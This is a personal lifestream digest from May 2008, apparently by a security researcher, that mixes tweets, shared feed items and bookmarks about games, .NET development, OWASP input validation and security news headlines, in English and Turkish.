    twitter 9:51 PM: fmavituna: age of conan is another good example of MMORPG is dead and gonna stay that way, I think future is only bright for games like Guild Wars.

    Google Reader Top vulnerability researcher?

    23 May 2008

    twitter 7:16 PM: fmavituna: installing age of conan
    twitter 11:37 AM: fmavituna: yeah finally figured out the name of this movie, adding to my que in lovefilm. - Poltergeist III
    twitter 9:03 AM: fmavituna: @YuSuPh bende noel baba yi gordum, simdi de ruya tabirlerinde ruyada santa gormek diye ariyorum :p

    Google Reader Microsoft Source Analysis for C# Released

    22 May 2008

    twitter 9:32 PM: fmavituna: Brilliant piece of tool from MS for better TDD, it's a shame that I use MbUnit - http://research.microsoft.com/pex/default.aspx

    Google Shared Notes OWASP Validation Library url

    twitter 2:37 PM: fmavituna: nowadays focused on most effective input/output validation process
    twitter 12:21 PM: fmavituna: new PSN update, Bourne and Iron Man demos

    Google Shared Notes Prof. Dr. Şahin Albayrak; Türkiye zor bir ortam. Burada herkes herşeyi biliyo...

    Prof. Dr. Şahin Albayrak; Türkiye zor bir ortam. Burada herkes herşeyi biliyor. Asıl sorun bu.

    twitter 8:24 AM: fmavituna: Another great racing game from codemasters - GRID - http://www.racedrivergrid.com/ , PS3 demo is out give it a host, real fun.

    Bookmarks Activator.CreateInstance Method (Type, Object[]) (System)
    Bookmarks CodeProject: Decoding the Mysteries of .NET 2.0 Configuration. Free source code and programming help
    Bookmarks Simple Validators in System.Configuration : Keyvan Nayyeri
    Bookmarks Pex - Automated Exploratory Testing for .Net
    Bookmarks Configure This: Parameterize Your Apps Using XML Configuration In The .NET Framework 2.0
    Bookmarks CodeProject: .NET 2.0 Configuration and Provider Model. Free source code and programming help

    Google Reader Kapanmayan blog istiyoruz
    Google Reader ücretsiz proje yönetim sistemleri karşılaştırması

    Günlük Maceralar - 18-21.05.08

    Etiketler daily, gunluk, english, news, 21.05.2008

    21 May 2008

    Google Shared Notes Most programming environments are meta-engineered to make typical software ea...
    Most programming environments are meta-engineered to make typical software easier to write. They should instead be meta-engineered to make incorrect software harder to write.

    twitter 3:46 PM: fmavituna: FF 3 extension compatibility trick, easier then modifying xpi packages manually http://tech.slashdot.org/tech/08/05/21/015245.shtml
    twitter 3:39 PM: fmavituna: This is great : Zero Punctuation series - http://tinyurl.com/6by8vf
    twitter 2:54 PM: fmavituna: wow, http://tinyurl.com/6zr5lb , this is the curse of working on security, you are being paranoid.
    twitter 1:27 PM: fmavituna: got my copy of web app. hackers handbook, good reference book.
    twitter 1:27 PM: fmavituna: received age of conan shipping confirmation, looking forward to play
    twitter 12:22 PM: fmavituna: @tehlike password cracking in virtual machine got so much overhead really, I used another dedicated native box for this.
    twitter 10:22 AM: fmavituna: @sonereker kesinlikle, ben killanmaya baslamistim acaba sorun sadece ben de mi diye
    twitter 10:22 AM: fmavituna: why there is no MPI version of JTR for windows! I knew I should ditch windows ages ago!
    twitter 8:23 AM: fmavituna: google reader keep getting down this morning

    Bookmarks Qmail Security

    Google Reader Of Aviation Crashes and Software Bugs
    Google Reader Spying on Computer Monitors Off Reflective Objects
    Google Reader Krai Mira: Work in Progress MMO
    Google Reader Bir OWASP SoC’08 Projesi - SQLiBENCH
    Google Reader Krai Mira: Work in Progress MMO

    20 May 2008

    twitter 1:52 PM: fmavituna: the question is when are we gonna stop caring about stuff and start saying "fuck it"

    Bookmarks Lingoes -- free dictionary and full text translation software
    Bookmarks ThinkGeek :: you are dumb v1.0
    Bookmarks ThinkGeek :: The Dice Are Trying to Kill Me
    Bookmarks ThinkGeek :: Prefectionist
    Bookmarks ThinkGeek :: No, I will not fix your computer
    Bookmarks ThinkGeek :: I see dead pixels.

    Bookmarks STYLEISLAM.COM

    Google Reader Babylon Alternatifi ucretsiz sozluk programi
    Google Reader DoS Attacks Using SQL Wildcards Revealed
    Google Reader Firefox applet fun
    Google Reader Academia vs. professional researchers

    19 May 2008

    twitter 6:51 PM: fmavituna: The Big Issue: Shall I get Fallout 3 for PC or PS3 ?
    twitter 12:28 PM: fmavituna: if you are a developer or a security guy, then you might wanna read this : http://tinyurl.com/6b7q6g
    twitter 11:00 AM: fmavituna: weird, FF removed yellow background from SSL URLs and and it's not clear if URL is over SSL. Why? why? why?
    twitter 10:25 AM: fmavituna: this is awesome, bionic commando 2d NG - http://www.gametrailers.com/player/29799.html
    twitter 9:23 AM: fmavituna: lol - http://www.thinkgeek.com/apparel/jewelry/a38d/
    twitter 8:23 AM: fmavituna: yay new FF update!

    Google Reader SQL Wildcard Saldırıları
    Google Reader Random Number Bug in Debian Linux
    Google Reader Spanish police cuff web defacement crew
    Google Reader Website Defacement Group Arrested After Going too far
    Google Reader Phishing Nedir ? Ne Amaçla Kullanılır , Anlatımı